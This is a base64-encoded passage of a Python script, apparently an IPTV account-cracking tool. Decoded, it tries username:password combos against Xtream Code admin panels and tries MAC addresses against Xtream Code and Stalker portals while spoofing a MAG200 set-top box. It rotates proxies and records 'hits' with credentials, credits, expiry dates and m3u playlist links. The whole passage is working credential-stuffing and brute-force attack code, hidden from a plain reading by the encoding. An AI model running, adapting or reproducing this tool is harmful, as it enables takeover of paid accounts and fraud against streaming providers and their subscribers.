ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4cF9kYXRlID0gJ/CfkqtVTkxJTUlURUTwn5KrJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgcmUuc2VhcmNoKCdeKFswLTldezEwLDE1fSkkJywgZXhwX3BhcnNlKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhwX2RhdGUgPSBzdHIoZGF0ZXRpbWUuZnJvbXRpbWVzdGFtcChpbnQoZXhwX3BhcnNlKSkuc3RyZnRpbWUoJyViICVkLCAlWSAnKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleHBfZGF0ZSA9IHN0cihleHBfcGFyc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWF4X2NvbnggPSBkYXRhWydtYXhfY29ubmVjdGlvbnMnXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIG1heF9jb254IGlzIE5vbmU6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1heF9jb254ID0gJ1Vua25vdy9VbmxpbWl0ZWQgXHhmMFx4OWZceDk4XHhiMicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1x4ZjBceDlmXHg5YVx4YTYgIFN0YXR1cyc6IGRhdGFbJ3N0YXR1cyddLCAnXHhlMlx4OGZceGIxIEV4cF9kYXRlJzogZXhwX2RhdGUsICdceGYwXHg5Zlx4OTRceDhjIEFjdGl2ZV9jb25zJzogZGF0YVsnYWN0aXZlX2NvbnMnXSwgJ1x4ZjBceDlmXHg5YVx4OGMgTWF4X2NvbnMnOiBtYXhfY29ueH0pCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVOYW1lID0gc2VydmVyLnNwbGl0KCc6Ly8nKVsxXS5zcGxpdCgnOicpWzBdLnNwbGl0KCcvJylbMF0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBteV9kYXRlID0gZGF0ZXRpbWUubm93KCkuc3RyZnRpbWUoJyViICVkLCAlWSAgJUk6JU0gJXAnKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnXHhmMFx4OWZceDkzXHg4NiBTY2FuX2RhdGUnOiBteV9kYXRlLCAnPSBMaXN0IG0zdSc6IHVybF9zZXJ2ZXIsICc9TW9kdWxlJzogJnF1b3Q7VXNlci9QYXNzIEhpdHMgU3lzdGVtJnF1b3Q7LCAnPSBDYXRlZ29yaWVzJzogJycsICdGaWxlTmFtZSc6IGZpbGVOYW1lfSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXN1bHQgPSAoJ0dvb2QnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnU2VydmVyJzogc2VydmVyLCAnVXNlcic6IFVzZXIsICdQYXNzJzogUGFzc30pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdCYWQnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbCBlCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1NlcnZlcic6IHNlcnZlciwgJ1VzZXInOiBVc2VyLCAnUGFzcyc6IFBhc3MsICdFcnJvcic6IHN0cihlKX0pCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdCA9ICgnRXJyb3InLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgICAgICAgICAgICAgZGVsIGUKICAgICAgICAgICAgICAgIGZpbmFsbHk6CiAgICAgICAgICAgICAgICAgICAgaWYgR2xiLnJlc3VsdF9sb2dnZXIgaXMgTm9uZToKICAgICAgICAgICAgICAgICAgICAgICAgR2xiLnJlc3VsdHMucHV0KHJlc3VsdCkKICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBHbGIucmVzdWx0X2xvZ2dlcihyZXN1bHQpCiAgICAgICAgICAgIHNlc3Npb24uY2xvc2UoKQogICAgICAgIHJldHVybgoKICAgIGRlZiB4Y19wYW5lbHMoc2VsZiwgZGF0YSk6CiAgICAgICAgJnF1b3Q7JnF1b3Q7JnF1b3Q7VGhpcyBpcyB0aGUgbWV0aG9kIG9yIHNjcmlwdCBpcyBmb3IgWHRyZWFtIENvZGUgQWRtaW4gcGFuZWxzICZxdW90OyZxdW90OyZxdW90OwoKICAgICAgICByZXN1bHQgPSB0dXBsZSgpCiAgICAgICAgVXNlciwgUGFzcyA9IGRhdGFbJ19kYXRhJ10uc3BsaXQoJzonKQogICAgICAgIGZvciBzZXJ2ZXIgaW4gR2xiLnNlcnZlckxpc3Q6CiAgICAgICAgICAgIHNlc3Npb24gPSBzZWxmLnJlcXVlc3RzLnNlc3Npb24oKQogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgYWxsSW5mbyA9IGRpY3QoKQogICAgICAgICAgICAgICAgaWYgR2xiLnVzZVByb3h5ID09ICd5ZXMnOgogICAgICAgICAgICAgICAgICAgIG15UHJveHkgPSBQcm94aWVzKCkuZ2V0X3Byb3h5KEdsYi5wcm94eV90eXBlKQogICAgICAgICAgICAgICAgICAgIHNlc3Npb24ucHJveGllcy51cGRhdGUobXlQcm94eVsxXSkKICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1Byb3h5VXNlZCc6IG15UHJveHlbMF19KQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGNvbnRlbnQgPSB7J3JlZmVycmVyJzogJycsICd1c2VybmFtZSc6IGYne1VzZXJ9JywgJ3Bhc3N3b3JkJzogZid7UGFzc30nfQogICAgICAgICAgICAgICAgICAgIGhlYWRlciA9IHNlbGYubXlIZWFkZXJzCiAgICAgICAgICAgICAgICAgICAgaGVhZGVyLnVwZGF0ZSh7J1VzZXItQWdlbnQnOiAmcXVvdDtNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTAxLjAuNDk1MS41NCBTYWZhcmkvNTM3LjM2JnF1b3Q7fSkKICAgICAgICAgICAgICAgICAgICBzZXNzaW9uLmhlYWRlcnMudXBkYXRlKGhlYWRlcikKCiAgICAgICAgICAgICAgICAgICAgcmVkaXJlY3QgPSBzZXNzaW9uLmdldChzZXJ2ZXIpCiAgICAgICAgICAgICAgICAgICAgaGVhZGVyLnVwZGF0ZSh7J1JlZmVyZXInOiBmJnF1b3Q7e3JlZGlyZWN0LnVybH0mcXVvdDt9KQogICAgICAgICAgICAgICAgICAgIHJlcVBhbmVsX3Bvc3QgPSBzZXNzaW9uLnBvc3QocmVkaXJlY3QudXJsLCBkYXRhPWNvbnRlbnQsIGFsbG93X3JlZGlyZWN0cz1UcnVlKQogICAgICAgICAgICAgICAgICAgIGlmICdMb2dnZWQgSW4nIG9yICdMb2dvdXQnIGluIHJlcVBhbmVsX3Bvc3QudGV4dDoKICAgICAgICAgICAgICAgICAgICAgICAgdXJsX3AgPSByZXFQYW5lbF9wb3N0LnVybAogICAgICAgICAgICAgICAgICAgICAgICBwYXJzZWRfdXJsID0gdXJscGFyc2UodXJsX3ApCiAgICAgICAgICAgICAgICAgICAgICAgIHVybF9wYW5lbCA9ICd7dXJpLnNjaGVtZX06Ly97dXJpLm5ldGxvY30nLmZvcm1hdCh1cmk9cGFyc2VkX3VybCkKICAgICAgICAgICAgICAgICAgICAgICAgX2RhdGEgPSB7J2NyZWRpdHMnOiAnMCcsICdhY3RpdmVfYWNjb3VudHMnOiAnMCd9CiAgICAgICAgICAgICAgICAgICAgICAgIHJlcV9kYXNib2FyZCA9IHNlc3Npb24uZ2V0KHVybF9wYW5lbCArIHNlbGYucGFuZWxEYXNoKQogICAgICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfZGF0YSA9IHJlcV9kYXNib2FyZC5qc29uKClbJ3VzZXJfaW5mbyddCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0gcmVxX2Rhc2JvYXJkLmpzb24oKQogICAgICAgICAgICAgICAgICAgICAgICBmaWxlTmFtZSA9IHNlcnZlci5zcGxpdCgnOi8vJylbMV0uc3BsaXQoJzonKVswXS5zcGxpdCgnLycpWzBdCiAgICAgICAgICAgICAgICAgICAgICAgIG15X2RhdGUgPSBkYXRldGltZS5ub3coKS5zdHJmdGltZSgnJWIgJWQsICVZICAlSTolTSAlcCcpCiAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnXHhmMFx4OWZceDhjXHg4ZSBTZXJ2ZXInOiBzZXJ2ZXIsICdceGYwXHg5Zlx4OTFceGE0IFVzZXInOiBVc2VyLCAnXHhmMFx4OWZceDk0XHg5MSBQYXNzJzogUGFzcywgJ1x4ZjBceDlmXHg5Mlx4YjAgQ3JlZGl0cyc6IF9kYXRhWydjcmVkaXRzJ10sICdceGYwXHg5Zlx4OTFceGE1IEFjdGl2ZV9hY2MnOiBfZGF0YVsnYWN0aXZlX2FjY291bnRzJ119KQogICAgICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1x4ZjBceDlmXHg5M1x4ODYgU2Nhbl9kYXRlJzogbXlfZGF0ZSwgJ1x4ZTJceDlhXHg5OVx4ZWZceGI4XHg4Zk1vZHVsZSc6ICZxdW90O1h0cmVhbSBDb2RlIFBhbmVsIFN5c3RlbSZxdW90OywgJ0ZpbGVOYW1lJzogZmlsZU5hbWV9KQogICAgICAgICAgICAgICAgICAgICAgICByZXN1bHQgPSAoJ0dvb2QnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnU2VydmVyJzogc2VydmVyLCAnVXNlcic6IFVzZXIsICdQYXNzJzogUGFzc30pCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdCA9ICgnQmFkJywgYWxsSW5mbykKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1NlcnZlcic6IHNlcnZlciwgJ1VzZXInOiBVc2VyLCAnUGFzcyc6IFBhc3MsICdFcnJvcic6IHN0cihlKX0pCiAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdFcnJvcicsIGFsbEluZm8pCiAgICAgICAgICAgICAgICAgICAgZGVsIGUKICAgICAgICAgICAgICAgIGZpbmFsbHk6CiAgICAgICAgICAgICAgICAgICAgaWYgR2xiLnJlc3VsdF9sb2dnZXIgaXMgTm9uZToKICAgICAgICAgICAgICAgICAgICAgICAgR2xiLnJlc3VsdHMucHV0KHJlc3VsdCkKICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBHbGIucmVzdWx0X2xvZ2dlcihyZXN1bHQpCiAgICAgICAgICAgIHNlc3Npb24uY2xvc2UoKQogICAgICAgIHJldHVybgoKICAgIGRlZiBhdXRvX21ldGhvZChzZWxmLCBkYXRhKToKICAgICAgICBmb3Igc2VydiBpbiBHbGIuc2VydmVyTGlzdDoKICAgICAgICAgICAgaWYgJ3N0YWxrZXJfcG9ydGFsJyBpbiBzZXJ2OgogICAgICAgICAgICAgICAgc2VsZi5zdGxrX21hYyhkYXRhLCBzZXJ2KQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgc2VsZi54Y19tYWMoZGF0YSwgc2VydikKCiAgICBkZWYgeGNfbWFjKHNlbGYsIGRhdGEsIHNlcnZlcik6CiAgICAgICAgJnF1b3Q7JnF1b3Q7JnF1b3Q7VGhpcyBpcyB0aGUgbWV0aG9kIG9yIHNjcmlwdCBpcyBmb3IgWHRyZWFtIENvZGUgc2VydmVycyAmcXVvdDsmcXVvdDsmcXVvdDsKCiAgICAgICAgcmVzdWx0ID0gdHVwbGUoKQogICAgICAgIG1hYyA9IGRhdGFbJ19kYXRhJ10KICAgICAgICBzZXNzaW9uID0gc2VsZi5yZXF1ZXN0cy5zZXNzaW9uKCkKICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICBhbGxJbmZvID0gZGljdCgpCiAgICAgICAgICAgIGlmIEdsYi51c2VQcm94eSA9PSAneWVzJzoKICAgICAgICAgICAgICAgIG15UHJveHkgPSBQcm94aWVzKCkuZ2V0X3Byb3h5KEdsYi5wcm94eV90eXBlKQogICAgICAgICAgICAgICAgc2Vzc2lvbi5wcm94aWVzLnVwZGF0ZShteVByb3h5WzFdKQogICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydQcm94eVVzZWQnOiBteVByb3h5WzBdfSkKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgaGVhZGVyID0gc2VsZi5teUhlYWRlcnMKICAgICAgICAgICAgICAgIGhlYWRlci51cGRhdGUoeydSZWZlcmVyJzogc2VydmVyICsgJy9jLycsICdVc2VyLUFnZW50JzogJnF1b3Q7TW96aWxsYS81LjAgKFF0RW1iZWRkZWQ7IFU7IExpbnV4OyBDKSBBcHBsZVdlYktpdC81MzMuMyAoS0hUTUwsIGxpa2UgR2Vja28pIE1BRzIwMCBzdGJhcHAgdmVyOiAyIHJldjogMjUwIFNhZmFyaS81MzMuMyZxdW90OywgJ1gtVXNlci1BZ2VudCc6ICZxdW90O01vZGVsOiBNQUcyNTA7IExpbms6IFdpRmkmcXVvdDt9KQogICAgICAgICAgICAgICAgdWRpZCA9IHNlY3JldHMudG9rZW5faGV4KDE2KQogICAgICAgICAgICAgICAgY29va2llcyA9IHsnbWFjJzogbWFjLCAnc3RiX2xhbmcnOiAmcXVvdDtlbiZxdW90OywgJ3RpbWV6b25lJzogJnF1b3Q7QW1lcmljYSUyRk5ld19Zb3JrJnF1b3Q7LCAnYWRpZCc6IHVkaWR9CiAgICAgICAgICAgICAgICB1cmwgPSBmJ3tzZXJ2ZXJ9L3BvcnRhbC5waHA/dHlwZT17c2VsZi5oYW5kX3NoYWtlfScKICAgICAgICAgICAgICAgIEdldEhhbmQgPSBzZXNzaW9uLmdldCh1cmwsIGhlYWRlcnM9aGVhZGVyLCBjb29raWVzPWNvb2tpZXMsIHRpbWVvdXQ9R2xiLndhaXRUaW1lLCBhbGxvd19yZWRpcmVjdHM9VHJ1ZSkKICAgICAgICAgICAgICAgIHVybF9zZXJ2ZXIgPSBHZXRIYW5kLnVybAogICAgICAgICAgICAgICAgcGFyc2VkX3VybCA9IHVybHBhcnNlKHVybF9zZXJ2ZXIpCiAgICAgICAgICAgICAgICByZWFsX3NlcnZlciA9ICd7dXJpLnNjaGVtZX06Ly97dXJpLm5ldGxvY30nLmZvcm1hdCh1cmk9cGFyc2VkX3VybCkKICAgICAgICAgICAgICAgIGhlYWRlci51cGRhdGUoeydSZWZlcmVyJzogcmVhbF9zZXJ2ZXIgKyAnL2MvJ30pCiAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1x4ZjBceDlmXHg4Y1x4OGUgU2VydmVyJzogcmVhbF9zZXJ2ZXIsICdceGYwXHg5Zlx4OTNceGJkIE1hYyc6IG1hY30pCiAgICAgICAgICAgICAgICBpZiBHZXRIYW5kLnN0YXR1c19jb2RlID09IDIwMDoKICAgICAgICAgICAgICAgICAgICB0b2tlbiA9IFBhcnNlKCkucGFyc2VfYnR3X3N0cihHZXRIYW5kLnRleHQsICd0b2tlbiZxdW90OzomcXVvdDsnLCAnJnF1b3Q7JykKICAgICAgICAgICAgICAgICAgICBoZWFkZXIudXBkYXRlKHsnQXV0aG9yaXphdGlvbic6ICdCZWFyZXIgJyArIHRva2VufSkKICAgICAgICAgICAgICAgICAgICBHZXRDaGVjayA9IHNlc3Npb24uZ2V0KHJlYWxfc2VydmVyICsgc2VsZi54Y19wcm9mLCBoZWFkZXJzPWhlYWRlciwgY29va2llcz1jb29raWVzKQogICAgICAgICAgICAgICAgICAgIGNoZWNrID0gR2V0Q2hlY2sudGV4dAogICAgICAgICAgICAgICAgICAgIGlmICdcJnF1b3Q7c3RhdHVzXCZxdW90OzowJyBpbiBjaGVjazogICMgR29vZCBBY2NvdW50CiAgICAgICAgICAgICAgICAgICAgICAgIHByb3hpZXNOb25lID0geyZxdW90O2h0dHAmcXVvdDs6ICcnLCAmcXVvdDtodHRwcyZxdW90OzogJyd9CiAgICAgICAgICAgICAgICAgICAgICAgIHNlc3Npb24ucHJveGllcy51cGRhdGUocHJveGllc05vbmUpCiAgICAgICAgICAgICAgICAgICAgICAgIEdldERhdGEgPSBzZXNzaW9uLmdldChyZWFsX3NlcnZlciArIHNlbGYueGNfY21kLCBoZWFkZXJzPWhlYWRlciwgY29va2llcz1jb29raWVzKQogICAgICAgICAgICAgICAgICAgICAgICBnZXRDbWQgPSBHZXREYXRhLmpzb24oKVsnanMnXVsnY21kJ10KICAgICAgICAgICAgICAgICAgICAgICAgaW5mbyA9IGdldENtZC5zcGxpdCgnLycpCiAgICAgICAgICAgICAgICAgICAgICAgIHVzZXIgPSBpbmZvWzNdCiAgICAgICAgICAgICAgICAgICAgICAgIHB3ZCA9IGluZm9bNF0KICAgICAgICAgICAgICAgICAgICAgICAgTGlzdF9tM3UgPSBzZWxmLnVybE0zdS5yZXBsYWNlKCdteV9zZXJ2ZXInLCByZWFsX3NlcnZlcikucmVwbGFjZSgnbXlfdXNlcicsIHVzZXIpLnJlcGxhY2UoJ215X3B3ZCcsIHB3ZCkKICAgICAgICAgICAgICAgICAgICAgICAgbXlBcGkgPSBzZWxmLnVybEFwaS5yZXBsYWNlKCdteV9zZXJ2ZXInLCByZWFsX3NlcnZlcikucmVwbGFjZSgnbXlfdXNlcicsIHVzZXIpLnJlcGxhY2UoJ215X3B3ZCcsIHB3ZCkKICAgICAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydceGYwXHg5Zlx4OTFceGE1IFVzZXInOiB1c2VyLCAnXHhmMFx4OWZceDk0XHg5MSBQYXNzJzogcHdkfSkKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgR2V0RGF0ZSA9IHNlc3Npb24uZ2V0KG15QXBpLCBoZWFkZXJzPXNlbGYubXlIZWFkZXJzKSAgIyAsIHByb3hpZXM9cHJveGllcykKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdldERhdGEgPSBHZXREYXRlLmpzb24oKVsndXNlcl9pbmZvJ10KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0YXR1cyA9IEdldERhdGFbJ3N0YXR1cyddCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBleHBfcGFyc2UgPSBQYXJzZSgpLnBhcnNlX2J0d19zdHIoR2V0RGF0ZS50ZXh0LCAnZXhwX2RhdGUmcXVvdDs6JnF1b3Q7JywgJyZxdW90OycpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiByZS5zZWFyY2goJyhbMC05XXsxMCwxNX0pJywgZXhwX3BhcnNlKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleHBfZGF0ZSA9IHN0cihkYXRldGltZS5mcm9tdGltZXN0YW1wKGludChleHBfcGFyc2UpKS5zdHJmdGltZSgnJWIgJWQsICVZICcpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleHBfZGF0ZSA9IHN0cihleHBfcGFyc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXhfY29ueCA9IEdldERhdGFbJ21heF9jb25uZWN0aW9ucyddCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb25uZWN0ZWQgPSBHZXREYXRhWydhY3RpdmVfY29ucyddCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiBtYXhfY29ueCBpcyBOb25lOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1heF9jb254ID0gJ1Vua25vdy9VbmxpbWl0ZWQgXHhmMFx4OWZceDk4XHhiMicKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnXHhmMFx4OWZceDlhXHhhNiBTdGF0dXMnOiBzdGF0dXMsICdceGUyXHg4Zlx4YjEgRXhwX2RhdGUnOiBleHBfZGF0ZSwgJ1x4ZjBceDlmXHg5NFx4OGMgQ29ubmVjdGVkJzogY29ubmVjdGVkLCAnXHhmMFx4OWZceDlhXHg4YyBNYXhfY29ubic6IG1heF9jb254fSkKICAgICAgICAgICAgICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlX2FwaToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmxfaW5mbyA9IGYne3JlYWxfc2VydmVyfS9wb3J0YWwucGhwP3R5cGU9e3NlbGYuaW5mb30nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR2V0aW5mbyA9IHNlc3Npb24uZ2V0KHVybF9pbmZvLCBoZWFkZXJzPWhlYWRlciwgY29va2llcz1jb29raWVzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdldERhdGUgPSBHZXRpbmZvLmpzb24oKVsnanMnXVsncGhvbmUnXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIGdldERhdGUgaXMgTm9uZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhwX2RhdGUgPSAn8J+Sq1VOTElNSVRFRPCfkqsnCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiByZS5zZWFyY2goJyhbMC05XXsxMCwxNX0pJywgZ2V0RGF0ZSk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4cF9kYXRlID0gc3RyKGRhdGV0aW1lLmZyb210aW1lc3RhbXAoaW50KGdldERhdGUpKS5zdHJmdGltZSgnJWIgJWQsICVZICVYICVwJykpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhwX2RhdGUgPSBzdHIoZ2V0RGF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1x4ZTJceDhmXHhiMSBFeHBfZGF0ZSc6IGV4cF9kYXRlfSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZV9hcGk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsIGVfYXBpCiAgICAgICAgICAgICAgICAgICAgICAgIG15X2RhdGUgPSBkYXRldGltZS5ub3coKS5zdHJmdGltZSgnJWIgJWQsICVZICAlSTolTSAlcCcpCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVOYW1lID0gc2VydmVyLnNwbGl0KCc6Ly8nKVsxXS5zcGxpdCgnOicpWzBdLnNwbGl0KCcvJylbMF0KICAgICAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydceGYwXHg5Zlx4OTNceDg2IFNjYW5fZGF0ZSc6IG15X2RhdGUsICdceGYwXHg5Zlx4OGVceGFjXHhmMFx4OWZceDk0XHg5NyBMaXN0IG0zdSc6IExpc3RfbTN1LCAnRmlsZU5hbWUnOiBmaWxlTmFtZX0pCiAgICAgICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnXHhlMlx4OWFceDk5XHhlZlx4YjhceDhmTW9kdWxlJzogJnF1b3Q7WHRyZWFtIENvZGUgSGl0cyBTeXN0ZW0mcXVvdDt9KQogICAgICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmxfZ2VuID0gZid7cmVhbF9zZXJ2ZXJ9L3BvcnRhbC5waHA/dHlwZT17c2VsZi5nZW5lcnN9JwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0ZWdvcmllcyA9IHNlc3Npb24uZ2V0KHVybF9nZW4sIGhlYWRlcnM9aGVhZGVyLCBjb29raWVzPWNvb2tpZXMpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXRlZ29yaWVzX2pzb24gPSBjYXRlZ29yaWVzLmpzb24oKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0ZWdvcmllc19saXN0ID0gUGFyc2UoKS5wYXJzZV9qc29uX3JlYyhjYXRlZ29yaWVzX2pzb24sICd0aXRsZScpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J1x4ZjBceDlmXHg5M1x4ODEgQ2F0ZWdvcmllcyc6IGNhdGVnb3JpZXNfbGlzdH0pCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZV9jYXQ6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWwgZV9jYXQKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdHb29kJywgYWxsSW5mbykKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBlbGlmICdcJnF1b3Q7c3RhdHVzXCZxdW90OzoxJyBpbiBjaGVjazoKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdCYWQnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgIGVsc2U6ICAjIEVycm9yCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdCA9ICgnRXJyb3InLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgZWxzZTogICMgU29tZSBTdGF0dXNfQ29kZSBFcnJvcnMKICAgICAgICAgICAgICAgICAgICBjb2RlID0gR2V0SGFuZC5zdGF0dXNfY29kZSAgIyBjb2RlICg0MDMpIHByb3h5IG5vdCBhbGxvdyBpbiB0aGUgc2VydmVyLCAoNTAyKSBwcm94eSBiYW5uZWQKICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J0NvZGUnOiBzdHIoY29kZSl9KQogICAgICAgICAgICAgICAgICAgIHJlc3VsdCA9ICgnU3RhdHVzQ29kZScsIGFsbEluZm8pCiAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZTogICMgbW9zdCBsaWtlIHNlcnZlciBibG9ja2VkLCAoQ2F1c2VkIGJ5IE5ld0Nvbm5lY3Rpb25FcnJvciwgQ2F1c2VkIGJ5IENvbm5lY3RUaW1lb3V0RXJyb3IpCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZXJyb3IgPSBQYXJzZSgpLnBhcnNlX2J0d19zdHIoc3RyKGUpLCAnJmd0OzonLCAnKSknKQogICAgICAgICAgICAgICAgICAgIGFsbEluZm8udXBkYXRlKHsnRXJyb3InOiBlcnJvcn0pCiAgICAgICAgICAgICAgICAgICAgcmVzdWx0ID0gKCdFcnJvcicsIGFsbEluZm8pCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgICAgICAgICAgZGVsIGUKICAgICAgICAgICAgZmluYWxseToKICAgICAgICAgICAgICAgIGlmIEdsYi5yZXN1bHRfbG9nZ2VyIGlzIE5vbmU6CiAgICAgICAgICAgICAgICAgICAgR2xiLnJlc3VsdHMucHV0KHJlc3VsdCkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgR2xiLnJlc3VsdF9sb2dnZXIocmVzdWx0KQogICAgICAgIHNlc3Npb24uY2xvc2UoKQogICAgICAgIHJldHVybgoKICAgIGRlZiBzdGxrX21hYyhzZWxmLCBkYXRhLCBzZXJ2ZXIpOgogICAgICAgICZxdW90OyZxdW90OyZxdW90O1RoaXMgaXMgdGhlIG1ldGhvZCBvciBzY3JpcHQgaXMgZm9yIFN0YWxrZXJzIHNlcnZlcnMgJnF1b3Q7JnF1b3Q7JnF1b3Q7CgogICAgICAgIHJlc3VsdCA9IHR1cGxlKCkKICAgICAgICBtYWMgPSBkYXRhWydfZGF0YSddCiAgICAgICAgc2Vzc2lvbiA9IHNlbGYucmVxdWVzdHMuc2Vzc2lvbigpCiAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgYWxsSW5mbyA9IGRpY3QoKQogICAgICAgICAgICBpZiBHbGIudXNlUHJveHkgPT0gJ3llcyc6CiAgICAgICAgICAgICAg